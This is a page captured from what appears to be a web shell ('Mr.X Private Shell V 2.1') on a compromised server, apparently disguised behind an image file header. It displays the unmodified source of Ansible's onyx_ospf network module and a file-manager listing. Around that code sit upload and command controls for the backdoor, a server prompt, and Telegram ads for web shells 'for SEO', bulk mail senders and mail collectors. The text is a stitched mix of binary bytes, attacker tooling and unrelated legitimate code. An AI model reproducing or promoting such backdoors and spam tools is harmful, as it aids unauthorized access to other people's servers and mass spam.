����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
#
# Copyright: Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function
__metaclass__ = type

DOCUMENTATION = '''
---
module: onyx_ospf
author: "Samer Deeb (@samerd)"
short_description: Manage OSPF protocol on Mellanox ONYX network devices
description:
  - This module provides declarative management and configuration of OSPF
    protocol on Mellanox ONYX network devices.
notes:
  - Tested on ONYX 3.6.4000
options:
  ospf:
    description:
      - "OSPF instance number 1-65535"
    required: true
  router_id:
    description:
      - OSPF router ID. Required if I(state=present).
  interfaces:
    description:
      - List of interfaces and areas. Required if I(state=present).
    suboptions:
      name:
        description:
          - Interface name.
        required: true
      area:
        description:
          - OSPF area.
        required: true
  state:
    description:
      - OSPF state.
    default: present
    choices: ['present', 'absent']
'''

EXAMPLES = """
- name: Add ospf router to interface
  onyx_ospf:
    ospf: 2
    router_id: 192.168.8.2
    interfaces:
      - name: Eth1/1
      - area: 0.0.0.0
"""

RETURN = """
commands:
  description: The list of configuration mode commands to send to the device.
  returned: always
  type: list
  sample:
    - router ospf 2
    - router-id 192.168.8.2
    - exit
    - interface ethernet 1/1 ip ospf area 0.0.0.0
"""
import re

from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.six import iteritems

from ansible_collections.mellanox.onyx.plugins.module_utils.network.onyx.onyx import BaseOnyxModule
from ansible_collections.mellanox.onyx.plugins.module_utils.network.onyx.onyx import show_cmd


class OnyxOspfModule(BaseOnyxModule):
    OSPF_IF_REGEX = re.compile(
        r'^(Loopback\d+|Eth\d+\/\d+|Vlan\d+|Po\d+)\s+(\S+).*')
    OSPF_ROUTER_REGEX = re.compile(r'^Routing Process (\d+).*ID\s+(\S+).*')

    @classmethod
    def _get_element_spec(cls):
        interface_spec = dict(
            name=dict(required=True),
            area=dict(required=True),
        )
        element_spec = dict(
            ospf=dict(type='int', required=True),
            router_id=dict(),
            interfaces=dict(type='list', elements='dict',
                            options=interface_spec),
            state=dict(choices=['present', 'absent'], default='present'),
        )
        return element_spec

    def init_module(self):
        """ Ansible module initialization
        """
        element_spec = self._get_element_spec()
        argument_spec = dict()
        argument_spec.update(element_spec)
        self._module = AnsibleModule(
            argument_spec=argument_spec,
            supports_check_mode=True)

    def validate_ospf(self, value):
        if value and not 1 <= int(value) <= 65535:
            self._module.fail_json(msg='ospf id must be between 1 and 65535')

    def get_required_config(self):
        module_params = self._module.params
        self._required_config = dict(
            ospf=module_params['ospf'],
            router_id=module_params['router_id'],
            state=module_params['state'],
        )
        interfaces = module_params['interfaces'] or list()
        req_interfaces = self._required_config['interfaces'] = dict()
        for interface_data in interfaces:
            req_interfaces[interface_data['name']] = interface_data['area']
        self.validate_param_values(self._required_config)

    def _update_ospf_data(self, ospf_data):
        match = self.OSPF_ROUTER_REGEX.match(ospf_data)
        if match:
            ospf_id = int(match.group(1))
            router_id = match.group(2)
            self._current_config['ospf'] = ospf_id
            self._current_config['router_id'] = router_id

    def _update_ospf_interfaces(self, ospf_interfaces):
        interfaces = self._current_config['interfaces'] = dict()
        lines = ospf_interfaces.split('\n')
        for line in lines:
            line = line.strip()
            match = self.OSPF_IF_REGEX.match(line)
            if match:
                name = match.group(1)
                area = match.group(2)
                for prefix in ("Vlan", "Loopback"):
                    if name.startswith(prefix):
                        name = name.replace(prefix, prefix + ' ')
                interfaces[name] = area

    def _get_ospf_config(self, ospf_id):
        cmd = 'show ip ospf %s | include Process' % ospf_id
        return show_cmd(self._module, cmd, json_fmt=False, fail_on_error=False)

    def _get_ospf_interfaces_config(self, ospf_id):
        cmd = 'show ip ospf interface %s brief' % ospf_id
        return show_cmd(self._module, cmd, json_fmt=False, fail_on_error=False)

    def load_current_config(self):
        # called in base class in run function
        ospf_id = self._required_config['ospf']
        self._current_config = dict()
        ospf_data = self._get_ospf_config(ospf_id)
        if ospf_data:
            self._update_ospf_data(ospf_data)
            ospf_interfaces = self._get_ospf_interfaces_config(ospf_id)
            if ospf_interfaces:
                self._update_ospf_interfaces(ospf_interfaces)

    def _generate_no_ospf_commands(self):
        req_ospf_id = self._required_config['ospf']
        curr_ospf_id = self._current_config.get('ospf')
        if curr_ospf_id == req_ospf_id:
            cmd = 'no router ospf %s' % req_ospf_id
            self._commands.append(cmd)

    def _get_interface_command_name(self, if_name):
        if if_name.startswith('Eth'):
            return if_name.replace("Eth", "ethernet ")
        if if_name.startswith('Po'):
            return if_name.replace("Po", "port-channel ")
        if if_name.startswith('Vlan'):
            return if_name.replace("Vlan", "vlan")
        if if_name.startswith('Loopback'):
            return if_name.replace("Loopback", "loopback")
        self._module.fail_json(
            msg='invalid interface name: %s' % if_name)

    def _get_interface_area_cmd(self, if_name, area):
        interface_prefix = self._get_interface_command_name(if_name)
        if area:
            area_cmd = 'ip ospf area %s' % area
        else:
            area_cmd = 'no ip ospf area'
        cmd = 'interface %s %s' % (interface_prefix, area_cmd)
        return cmd

    def _generate_ospf_commands(self):
        req_router_id = self._required_config['router_id']
        req_ospf_id = self._required_config['ospf']
        curr_router_id = self._current_config.get('router_id')
        curr_ospf_id = self._current_config.get('ospf')
        if curr_ospf_id != req_ospf_id or req_router_id != curr_router_id:
            cmd = 'router ospf %s' % req_ospf_id
            self._commands.append(cmd)
            if req_router_id != curr_router_id:
                if req_router_id:
                    cmd = 'router-id %s' % req_router_id
                else:
                    cmd = 'no router-id'
                self._commands.append(cmd)
            self._commands.append('exit')
        req_interfaces = self._required_config['interfaces']
        curr_interfaces = self._current_config.get('interfaces', dict())
        for if_name, area in iteritems(req_interfaces):
            curr_area = curr_interfaces.get(if_name)
            if curr_area != area:
                cmd = self._get_interface_area_cmd(if_name, area)
                self._commands.append(cmd)
        for if_name in curr_interfaces:
            if if_name not in req_interfaces:
                cmd = self._get_interface_area_cmd(if_name, None)
                self._commands.append(cmd)

    def generate_commands(self):
        req_state = self._required_config['state']
        if req_state == 'absent':
            return self._generate_no_ospf_commands()
        return self._generate_ospf_commands()


def main():
    """ main entry point for module execution
    """
    OnyxOspfModule.main()


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
onyx_aaa.py File 5.63 KB 0644
onyx_bfd.py File 10.93 KB 0644
onyx_bgp.py File 18.75 KB 0644
onyx_buffer_pool.py File 4.68 KB 0644
onyx_command.py File 6.46 KB 0644
onyx_config.py File 9.21 KB 0644
onyx_facts.py File 6.88 KB 0644
onyx_igmp.py File 7.56 KB 0644
onyx_igmp_interface.py File 3.93 KB 0644
onyx_igmp_vlan.py File 18.34 KB 0644
onyx_interface.py File 16.85 KB 0644
onyx_l2_interface.py File 10.62 KB 0644
onyx_l3_interface.py File 9.8 KB 0644
onyx_linkagg.py File 12.1 KB 0644
onyx_lldp.py File 2.92 KB 0644
onyx_lldp_interface.py File 7.16 KB 0644
onyx_magp.py File 8.01 KB 0644
onyx_mlag_ipl.py File 6.51 KB 0644
onyx_mlag_vip.py File 5.61 KB 0644
onyx_ntp.py File 9.2 KB 0644
onyx_ntp_servers_peers.py File 10.83 KB 0644
onyx_ospf.py File 7.89 KB 0644
onyx_pfc_interface.py File 6.86 KB 0644
onyx_protocol.py File 6.24 KB 0644
onyx_ptp_global.py File 6.65 KB 0644
onyx_ptp_interface.py File 7.83 KB 0644
onyx_qos.py File 9.01 KB 0644
onyx_snmp.py File 19.22 KB 0644
onyx_snmp_hosts.py File 20.09 KB 0644
onyx_snmp_users.py File 11.59 KB 0644
onyx_syslog_files.py File 9.45 KB 0644
onyx_syslog_remote.py File 13.2 KB 0644
onyx_traffic_class.py File 14.01 KB 0644
onyx_username.py File 10.18 KB 0644
onyx_vlan.py File 6.24 KB 0644
onyx_vxlan.py File 9.21 KB 0644
onyx_wjh.py File 7.02 KB 0644